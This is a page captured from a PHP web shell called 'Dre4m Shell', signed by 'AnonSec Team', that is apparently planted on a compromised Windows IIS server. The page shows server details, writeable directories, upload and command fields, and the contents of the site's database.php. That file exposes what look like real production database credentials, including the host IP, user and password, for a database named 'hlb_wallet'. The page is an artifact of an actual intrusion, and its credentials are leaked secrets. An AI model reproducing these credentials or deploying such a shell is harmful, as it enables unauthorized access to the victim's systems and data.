Dre4m Shell
Server IP : 103.6.199.200  /  Your IP : 18.116.14.48
Web Server : Microsoft-IIS/10.0
System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586
User : EMPUSA$ ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Domains/cenxusco/hlb.cenxus.com/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Domains/cenxusco/hlb.cenxus.com/wwwroot/database.php
<?php
if ( in_array( getenv('SERVER_ADDR'), array('127.0.0.1', '::1') ) ) {
	// !MySQL setting for Local PC
	define('DB_HOST', 'localhost');
	define('DB_USER', 'root');
	define('DB_PASSWORD', '');
	define('DB_NAME', 'hlb_wallet');
	define('DB_CHARSET', 'utf8');
	define('DB_COLLATE', '');
} else {
	// !MySQL setting for Online Server
	define('DB_HOST', '110.4.46.121');
	define('DB_USER', 'hlb_db');
	define('DB_PASSWORD', 'xkmyhfeujsnripvbtwcd');
	define('DB_NAME', 'hlb_wallet');
	define('DB_CHARSET', 'utf8');
	define('DB_COLLATE', '');
}

try {
	$db_conn = new PDO('mysql:host='.DB_HOST.';dbname='.DB_NAME.';charset=utf8',DB_USER,DB_PASSWORD);
} catch ( PDOException $e ) {
	echo 'Could not connect to database';
	exit;
}

$stmt = $db_conn->prepare('SET NAMES \'utf8\'');
$stmt->execute();
?>

Anon7 - 2022
AnonSec Team